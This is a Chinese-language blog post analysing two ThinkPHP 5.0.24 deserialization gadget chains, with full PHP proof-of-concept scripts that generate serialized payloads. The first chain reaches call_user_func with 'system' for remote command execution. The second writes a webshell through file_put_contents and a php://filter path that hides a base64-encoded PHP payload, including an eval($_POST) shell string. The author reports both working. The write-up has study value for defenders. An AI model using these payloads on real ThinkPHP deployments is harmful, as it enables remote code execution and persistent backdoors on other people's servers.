• thinkphp5.0.24反序列化链子分析


    前言

    前几天学习了tp5.1的反序列化链,那么今天就总结一下tp5.0.24链子的构造。总体来说,我觉得tp5.0的链子要比tp5.1的链子复杂一些,在网上也是找了两条不同的链子,一个是通过写文件来 getshell,一个是直接调用函数执行rce,慢慢看吧。

    环境搭建的话很简单,直接在github上下载源码解压到www目录下,同样在控制器写一个反序列化入口就可以了。

    反序列化链分析

    直接开始分析链子,这里有两条链子,先说说执行rce的这条链子吧。

    反序列化链执行rce

    其实链子的开端和tp5.1的一样,都是通过调用windows类的__destruct方法,继而调用removefile通过属性实例化任意类调用toString()魔术方法,这里调用Model类中的tostring,

    但是Model类不能直接实例化,那就实例化继承它的Pivot类。那么这一块的poc为

    1. namespace think;
    2. abstract class Model{
    3. }
    4. namespace think\model;
    5. use think\Model;
    6. class Pivot extends Model{
    7. }
    8. namespace think\process\pipes;
    9. use think\Model\Pivot;
    10. class Windows{
    11. private $files = [];
    12. public function __construct()
    13. {
    14. $this->files = [new Pivot()];
    15. }
    16. }
    17. use think\process\pipes\Windows;
    18. echo base64_encode(serialize(new Windows()));
    19. ?>

    进入到Model类的tostring方法,继续跟进tojosn,再跟进toArray方法,老套路,不必多说。同样是看toArray方法的关键代码。

     我们的目标是要通过$value->getAttr($attr)来调用call魔术方法。那么就要判断value是否可控,可以发现value的值最终受到append数组键名的影响,那我们就正向分析。

    relation的值是直接由name控制,parseName函数仅仅做了格式转换,而name就是aappend键名。继续往下看,

    relation的值被当作函数来执行了,并且返回值赋值给modelRelation参数,我们希望这个参数的值是可控的,那么我们就需要调用返回值可控的函数 ,这里我们让relation赋值为getError,

    返回的error是可控的,那么现在modelRelation也可控,继续往下走,被作为参数进入到getRelationData函数里,那么继续跟进这个函数。

    这里modelRelation就作为了Relation类的对象,我们需要让value为我为我们可控,那么我们需要进入到第一个if里,看能不能满足条件,跟进isselfRelation方法,

    可控,那么最后一个判断,getmodel函数是否可控,继续跟进。

    这里需要实例化类继续调用返回值可控的这个函数,这里实例化Query类的getmodel函数,

     这样就都可控了,那么进入到if分支里,value的值是直接由parent属性控制,是可控的。回头继续看toArray函数,我们还需要进入到这两个if语句里。

    通过放大镜找到OneToOne类中有getBindAttr函数的定义,那么可以让modelRelation去实例化这个类,

    但是OneToOne是继承于Relation类的一个接口,不能直接实例化,这里HasOne继承了OneToOne类,那么我们可以实例化这个类。getBindAttr函数的返回值可控,那么第二个if条件也满足了。这样就可以调用call方法了。 这一块的poc为

    1. namespace think;
    2. use think\Model\Relation\HasOne;
    3. use think\console\Output;
    4. abstract class Model{
    5. protected $append = [];
    6. protected $error;
    7. protected $parent;
    8. public function __construct()
    9. {
    10. $this->append = ['getError'];
    11. $this->error = new HasOne();
    12. $this->parent = new Output();
    13. }
    14. }
    15. namespace think\model\relation;
    16. use think\db\Query;
    17. class HasOne{
    18. protected $selfRelation;
    19. protected $query;
    20. protected $bindAttr = [];
    21. public function __construct()
    22. {
    23. $this->selfRelation = false;
    24. $this->query = new Query();
    25. $this->bindAttr = ["aaa"=>"222"];
    26. }
    27. }
    28. namespace think\console;
    29. use think\session\driver\Memcached;
    30. class Output{
    31. }
    32. namespace think\db;
    33. use think\console\Output;
    34. class Query{
    35. protected $model;
    36. public function __construct()
    37. {
    38. $this->model = new Output();
    39. }
    40. }

    这样就成功调用了call方法。

     这里调用了block方法,跟进block方法。

    继续跟进writeln方法。

    套娃一样,继续跟进write方法。

    这里调用任意类的write方法。 这里我们调用think\session\dirver里的Mecache类的write方法。

    这里又可以调用任意类的set方法,这里我们调用think\cache\Mecache类的set方法,注意重名了,但是不在一个命名空间。

    这里跟进has函数,

    getCacheKey函数只进行了一个拼接,然后调用任意类的get方法。那么我们就可以调用Request类的set方法。

    最后调用经典input方法,这里的this->get和filter都是我们可控的。 进入input方法,最终调用filterValue方法,

    调用call_user_func函数来执行命令。这里的value就是this->get,构造最终poc。

    1. namespace think;
    2. use think\Model\Relation\HasOne;
    3. use think\console\Output;
    4. abstract class Model{
    5. protected $append = [];
    6. protected $error;
    7. protected $parent;
    8. public function __construct()
    9. {
    10. $this->append = ['getError'];
    11. $this->error = new HasOne();
    12. $this->parent = new Output();
    13. }
    14. }
    15. namespace think\model\relation;
    16. use think\db\Query;
    17. class HasOne{
    18. protected $selfRelation;
    19. protected $query;
    20. protected $bindAttr = [];
    21. public function __construct()
    22. {
    23. $this->selfRelation = false;
    24. $this->query = new Query();
    25. $this->bindAttr = ["aaa"=>"222"];
    26. }
    27. }
    28. namespace think\db;
    29. use think\console\Output;
    30. class Query{
    31. protected $model;
    32. public function __construct()
    33. {
    34. $this->model = new Output();
    35. }
    36. }
    37. namespace think\console;
    38. use think\session\driver\Memcached;
    39. class Output{
    40. private $handle;
    41. protected $styles = [
    42. "getAttr"
    43. ];
    44. public function __construct()
    45. {
    46. $this->handle = new Memcached();
    47. }
    48. }
    49. namespace think\cache;
    50. abstract class Driver{
    51. }
    52. namespace think\session\driver;
    53. use think\cache\driver\Memcache;
    54. use think\cache\Driver;
    55. class Memcached { //个人认为防止重名
    56. protected $handler;
    57. protected $config = [ //config一定要写全,不然打不通
    58. 'session_name' => '', // memcache key前缀
    59. 'username' => '', //账号
    60. 'password' => '', //密码
    61. 'host' => '127.0.0.1', // memcache主机
    62. 'port' => 11211, // memcache端口
    63. 'expire' => 3600, // session有效期
    64. ];
    65. public function __construct()
    66. {
    67. $this->handler = new Memcache();
    68. }
    69. }
    70. namespace think\cache\driver;
    71. use think\Request;
    72. class Memcache{
    73. protected $tag = "haha";
    74. protected $handler;
    75. protected $options = ['prefix'=>'haha/'];
    76. public function __construct()
    77. {
    78. $this->handler = new Request();
    79. }
    80. }
    81. namespace think;
    82. class Request{
    83. protected $get = ["haha"=>'dir'];
    84. protected $filter;
    85. public function __construct()
    86. {
    87. $this->filter = 'system';
    88. }
    89. }
    90. namespace think\model;
    91. use think\Model;
    92. class Pivot extends Model{
    93. }
    94. namespace think\process\pipes;
    95. use think\Model\Pivot;
    96. class Windows{
    97. private $files = [];
    98. public function __construct(){
    99. $this->files = [new Pivot()];
    100. }
    101. }
    102. use think\process\pipes\Windows;
    103. echo base64_encode(serialize(new Windows()));
    104. ?>

    一些细节上的地方没有细说,因为这个版本很多地方都和tp5.1.37一样。然后在本地打一下payload

    测试成功,这一条链子就分析到这。

    反序列化链写文件getshell

    前面调用tostring函数,调用call函数啥的都跟上一个链子一样。这里就不在赘述。

    从think\session\dirver里的Mecache类开始,调用file类的set方法

    最下面有file_put_contents函数可以用来写文件。那我们需要看这两个参数是否可控。先看filename,跟进getCacheKey函数。

    可以发现后缀名被锁死了,但是name我们还是可控的,所以filename部分可控。如果说data也可控的话,那么就可以写shell了。 通过函数调用链可以发现data是由value控制,继而由sessData控制,最终追述到Output类的writeln方法。

    这里为true,被写死了。不能写内容怎么getshell?我们可以继续调用setTagItem函数。

    这里又一次调用了set方法,那么看一下key是否可控。很明显,它是由$this->tag控制,可控。那么value呢?由name控制,仔细看传进来的name,它不就是我们可控的filename嘛,那么我们就可以调用file_put_contents来写文件了。注意

    拼接字符串的时候我们需要绕过exit();不然会强制退出。那么该怎么绕过呢?

    我们可以利用php伪协议来绕过。

    如果file_put_contentes() 第一个参数为php://filter/write=string.rot13/resource=555.php的话,php会把文件内容进行rot13编码,然后写入555.php 文件。 那么exit()函数就会被rot13编码写进文件中,成功绕过。从而实现了绕过。但是使用这种方法的payload不能在Windows上使用。但是在Windows环境中我们可以使用这样的payload,

    $this->options['path']=php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php

    windows写文件的这个原理我还不太了解,可以参考这篇文章:Thinkphp5.0反序列化链在Windows下写文件的方法 - 先知社区 (aliyun.com)

    最终poc为

    1. namespace think\process\pipes;
    2. use think\model\Pivot;
    3. class Pipes{
    4. }
    5. class Windows extends Pipes{
    6. private $files=[];
    7. function __construct(){
    8. $this->files=[new Pivot()];
    9. }
    10. }
    11. namespace think;
    12. use think\model\relation\HasOne;
    13. use think\console\Output;
    14. abstract class Model{
    15. protected $append = [];
    16. protected $error;
    17. public $parent;
    18. public function __construct(){
    19. $this->append=["getError"];
    20. $this->error=new HasOne();
    21. $this->parent=new Output();
    22. }
    23. }
    24. namespace think\model\relation;
    25. use think\model\Relation;
    26. class HasOne extends OneToOne{
    27. function __construct(){
    28. parent::__construct();
    29. }
    30. }
    31. namespace think\model;
    32. use think\db\Query;
    33. abstract class Relation{
    34. protected $selfRelation;
    35. protected $query;
    36. function __construct(){
    37. $this->selfRelation=false;
    38. $this->query= new Query();
    39. }
    40. }
    41. namespace think\console;
    42. use think\session\driver\Memcache;
    43. class Output{
    44. private $handle = null;
    45. protected $styles = [];
    46. function __construct(){
    47. $this->styles=['getAttr'];
    48. $this->handle=new Memcache();
    49. }
    50. }
    51. namespace think\db;
    52. use think\console\Output;
    53. class Query{
    54. protected $model;
    55. function __construct(){
    56. $this->model= new Output();
    57. }
    58. }
    59. namespace think\model\relation;
    60. use think\model\Relation;
    61. abstract class OneToOne extends Relation{
    62. protected $bindAttr = [];
    63. function __construct(){
    64. parent::__construct();
    65. $this->bindAttr=["aaa","123"];
    66. }
    67. }
    68. namespace think\session\driver;
    69. use think\cache\driver\File;
    70. class Memcache{
    71. protected $handler = null;
    72. function __construct(){
    73. $this->handler=new File();
    74. }
    75. }
    76. namespace think\cache\driver;
    77. use think\cache\Driver;
    78. class File extends Driver{
    79. protected $options=[];
    80. function __construct(){
    81. parent::__construct();
    82. $this->options = [
    83. 'expire' => 0,
    84. 'cache_subdir' => false,
    85. 'prefix' => '',
    86. 'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgcGhwaW5mbygpOz8+IA==/../ab.php',
    87. 'data_compress' => false,//base64字符串为 phpinfo();\?\>
    88. ];
    89. }
    90. }
    91. namespace think\cache;
    92. abstract class Driver{
    93. protected $tag;
    94. function __construct(){
    95. $this->tag=true;
    96. }
    97. }
    98. namespace think\model;
    99. use think\Model;
    100. class Pivot extends Model{
    101. }
    102. use think\process\pipes\Windows;
    103. echo base64_encode(serialize(new Windows()));
    104. //
    105. ?>

    将payload打进去,

    可以看到成功写入了文件了。 那么访问这个文件,

    能够成功执行命令。那么就可以写木马进去了。

    结语

    第二条链子要比第一条复杂,涉及到windows下文件名的限制问题。还是要理解原理。

    相关链接:

    Thinkphp5.0.24 反序列化rce链学习_bfengj的博客-CSDN博客_thinkphp5.0.24

    Thinkphp5.0.24反序列化分析和poc - FreeBuf网络安全行业门户

  • 相关阅读:
    装openwrt路由器断电重启后变砖
    DC-DC选型及电路设计
    测开日常积累 —— 自动化测试里的数据驱动和关键字驱动思路的理解
    some和every
    音频——I2S 左对齐模式(三)
    海运到美国整柜多少钱?
    Ansible配置和使用(Ansible免密登陆的小技巧)
    863. 二叉树中所有距离为 K 的结点
    裸 VSCode 必备插件
    视频超分之BasicVSR++阅读笔记
  • 原文地址:https://blog.csdn.net/m0_62422842/article/details/125867930